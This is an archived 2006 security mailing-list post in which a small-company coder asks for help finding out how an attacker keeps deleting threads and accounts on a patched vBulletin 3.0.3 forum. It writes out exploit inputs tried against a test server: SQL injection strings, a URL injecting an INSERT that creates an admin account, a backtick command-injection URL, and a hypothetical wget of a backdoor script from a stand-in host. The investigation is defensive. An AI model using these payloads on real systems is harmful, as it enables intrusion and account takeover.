From: Dave (fla.tech.talk@gmail.com)
Date: Thu Jul 06 2006 - 12:12:41 EDT
Daniel Clemens asked - Do you have webserver logs that can be viewed
around this incident
timeline?
> Yes, the webservers logs always show various (usually automated)
attacks. When we notice these things we generally will try to reproduce
the attack to see if it was successful or not etc...Yes, there were some
evidence of SQL injection attempts via GET method. We tried to duplicate
these also with no success.
Advisor asked - Do u have any Application logs? ...authenticated used
might have used "session manipulation vulnerability".
> In the admin panel there is an option in the 'users' sub section that
allows you to see when the user in question last logged in etc...This is
how we were checking to see which mods/admins were logged in during time
of attacks. This also has been unfruitful. So we seriously doubt the
session manipulation idea.
Rogan said - e.g. if the original query looks like SELECT * FROM TABLE
WHERE limit < [limitnumber] whatever you supply as [limitnumber] still
needs to form a completely valid SQL statement when it is executed. e.g.
[limitnumber] = 10 OR 1 = 1 would return ALL record from the above
table, since the 1=1 will always return TRUE, "overriding" the "limit <
10" part
> We have tried many variations using:
script?foo=SQL;
script?foo='SQL;
script?foo=bar'SQL;
script?foo=bar'SQL where 1=1;
etc...
with many different 'commands' such as insert this or that, select this
or that, union select this or that. We use the backup.sql files to aid
us in crafting our GET and POST queries.
Richard Braganza said - I suspect you have been cross site scripted IOW
the attacker has left a trojan in one of the forum posts. Could the
threads be renamed rather than deleted?
> We have greped the backup files for "script" "location.replace"
"scr+ipt" "<" "<" etc to see if there are any javascript XSS
entries. All the users entries are stored in the DB backup so if someone
had a posting with a embedded script then we should have picked it
up...we think anyway. We are running under the assumption that the
attacker can do as he wish although we dont actually know what is
abilities are. We know he can delete accounts and threads, whether or
not he can dump the password hashes and gain mod/admin access or if he
can create accounts with admin privileges is currently unknown.
Steven said - You may want to consider completely wiping your
VBulletin install and starting fresh with patches and all.
> We have reinstalled the vBulletin program with patches but we must
use backup.sql file in order to restore all content so if the attacker
*did* install some sort of XSS backdoor (we dont think so) we wouldnt be
doing ourselves much good. There are a number of the available exploits
found that we were able to exploit on our unpatched test server. but
once we patched the test server we were not able to exploit the program.
Since our production server runs fully patched the attacker cant be
using one of the publicly available poc's.
killy asked - The same accounts and threads vanished? might be a hint
in the subject/content of the thread as to who maybe doing it? You are
monitoring all admin/moderator accounts? Maybe they dumped the tables
and cracked the hashes. Have you changed all passwords? phpmyadmin
running also? IIS / apache?
> threads and accounts vary. there doesnt appear to be any *obvious*
hints in thread content. Yes we monitor the admin/mod accounts...at
least as far as the vBulletin admin panel allows us. We know when users
last logged in etc...We have not been able to dump the DB contents but
even if the attacker did we dont think he is using a *known* admin
account because these accounts shows NO activity at the times that these
actions occurred (at least on three occasions anyway). No there is no
phpMyAdmin. Webserver is Apache on Linux.
Morning wood said - google shows...
http://www.google.com/search?hl=en&q=vBulletin+3.0.3+exploit Results 1 -
20 of about 36,000 for vBulletin 3.0.3 exploit.
1st hit... http://www.osvdb.org/displayvuln.php?osvdb_id=12702.
vBulliten has been plauged by flaws for quite sometime, and frankly I
cant understand how you could not have discovered the cause of your
issue with a simple search.
> Yes, 35,950 of those listings are refuse. Yes, we looked at the
milworm exploits etc...We installed the metasploit framework (as I had
used this in the past) but this poc does not work against our patched
vBulletin program (was successful on the unpatched test version)...so
this could NOT be what the attacker is using to exploit our main
board...thanks anyway. You cant understand how we couldnt figure this
out with a simple search through google...Well your simple search was
certainly of no use to us.
josh perry.mon asked - What makes you think it has to be a SQL
injection? Did you see any of this in the logs? the attacker obtained
valid credentials using a Social Engineering attack... If they are
using valid channels they will not leave a lot of clues. What about
remote file inclusion exploit
>yes, given the facts we can find SQL injection seems to be the most
realistic avenue of attack. If the attacker was able to con a password
out of an admin/mod and was using this hijacked account to mess with
things then we would at least know that this account was logged in at
the time of the incident. this has not been the case (at least three
times). The remote file inclusion exploit could be the case...we have NO
evidence of such. For instance: If we have narrowed down that the board
was altered Thursday between 7-9 p.m. then ALL logs from that time frame
are searched. So if someone was able to include a file like shell.php we
would be able to see this entry in the logs...we have seen no
connections to documents that arent supposed to be on the server.
Zed said - I would also loose the [] around the parameter, although I
have NEVER seen/played with a vBulletin and they may be required.What
exactly is the point of this exersize? why don't you just upgrade to the
latest version apart from the obvious monetary "penalty" associated with
it?
> we tried with and without the []. We tried a lot of variations that I
did not bother to list do to the fact we didnt want to send a 1 mb email
to the list! The point of this exercise is two fold. If we can fix this
in house we wont have to hire out or in other ways spend money the
company doesnt want to spend on "computer stuff". This would please the
boss (cough, job security). But we are doing most of this off the clock.
We arent getting paid to fix this. Now, I can only speak for myself
here, but I am currently just a coder. I want to work in security but
have no real experience, so I volunteered to "try" to fix this on my own
time. We are a small company and dont have an IT department :)...well I
guess me and my fellow co worker ARE the IT department, haha. Why not
upgrade to the latest and greatest version? Well, this is not our call.
---------------------
Subject: testing vulnerable web application.
pen testers,
Our companies website hosts a forum program called vBulletin 3.0.3. A
few recent incidents (i.e. threads vanishing, user accounts deleted) has
us looking into how this is happening. Our manager wants to solve this
problem 'in house' so the task was given to me and another employee to
see if we can figure out how this is happening and stop it.
1) We have closely monitored all (co)admin and moderators activities and
this has revealed nothing out of the ordinary.
2) We restored the DB content using a backup and within 2 days the
threads and accounts in question were gone again.
3) We downloaded and installed a patch from vbulletin.com that was
supposed to secure the application but this has not stopped the problem.
We assumed the attacker was using some sort of SQL injection to alter
the DB records or possibly he can craft a SQL query in a way that will
create an admin account to use to simply log in and alter the records
and then delete his username...NO rogue admin accounts have ever been
found.
1) We searched the bugtraq lists at securityfocus.com and packetstorm
for known SQL vulns for vBulletin
2) We set up a test server to test our theories without damaging the
actual DB or interrupting normal business. The options granted to our
vbulletin DB user are SELECT,UPDATE,ALTER,INSERT and DELETE so we set up
our test DB with the same permissions etc...
In our search for possible vulns we came across these links:
http://packetstormsecurity.nl/0509-exploits/20050917-vbulletin-3.0.8.txt
When we try to test these POC snippets we dont get results. Examples we
have tried:
USING example :
admincp/user.php?do=find&orderby=username&limitnumber=[SQL] we crafted
a URL:
http://192.168.6.99:8080/vb-forums/admincp/user.php?do=find&orderby=user
name&limitnumber='INSERT%20INTO%20user%20VALUES('12345',%20'6',%20'',%20
'0',%20'admintest',%20'5f376e00eb11f00d0262636a5b699501',%20'2006-06-25'
,%20'nospam@nospam.org',%20'0',%20'',%20'',%20'',%20'',%20'',%20'2',%20'
Administrator',%20'0',%20'1151266933',%20'0',%20'1151272079',%20'1151274
578',%20'1151267867',%20'1',%20'10',%20'1',%20'',%20'0',%20'0',%20'0',%2
0'2135',%20'',%20'0000-00-00',%20'-1',%20'1',%20'',%20'0',%20'0',%20'',%
20'0',%20'0',%20'-1',%20'0',%20'0',%20'$Nu');
The syntax for this SQL was obtained from the backup.sql file created by
vBulletin. In theory this would create an account with following values:
userid = 12345
usergroupid = 6
username = admintest
password = 5f376e00eb11f00d0262636a5b699501 this = "password"
passworddate = 2006-06-25
email = nospam@nospam.org
styleid = 0
usertitle = Administrator
reputation = 10
reputationlevelid = 1
options = 2135
salt = $Nu
Another example we tried:
URL of vuln listing:
http://packetstormsecurity.nl/0502-exploits/vbulletin-3.0.4-2.txt
Reading this we wondered if the attacker was possibly running a command
on the server (such as wget http://foobar.com/backdoor.script) then
using this backdoor script he is able to view source code of DB related
scripts to obtain info for DB access etc...
We have tried using both the POC code and self crafted URL's like:
http://192.168.6.99:8080/vb-forums/forumdisplay.php?GLOBALS[]=1&f=1&comm
a=".`echo
_START_`.`'touch test.txt'`.`echo _END_`."
> then
http://192.168.6.99:8080/vb-forums/test.txt
> 404 error file not found
This is just a small list of unfruitful examples gathered during a
rather exhaustive effort to exploit this application. To date we were
not able to successfully exploit the vBulletin application using any of
the available POC code snippets. We were hoping that someone out there
who is more proficient at this line of work could shed some light on our
situation and possibly point us in the right direction.
Thanks in advance for any suggestions.
Dave
------------------------------------------------------------------------------
This List Sponsored by: Cenzic
Concerned about Web Application Security?
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's
Choice Award from eWeek. As attacks through web applications continue to rise,
you need to proactively protect your applications from hackers. Cenzic has the
most comprehensive solutions to meet your application security penetration
testing and vulnerability management needs. You have an option to go with a
managed service (Cenzic ClickToSecure) or an enterprise software
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can
help you: http://www.cenzic.com/news_events/wpappsec.php
And, now for a limited time we can do a FREE audit for you to confirm your
results from other product. Contact us at request@cenzic.com for details.
------------------------------------------------------------------------------
This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:56:13 EDT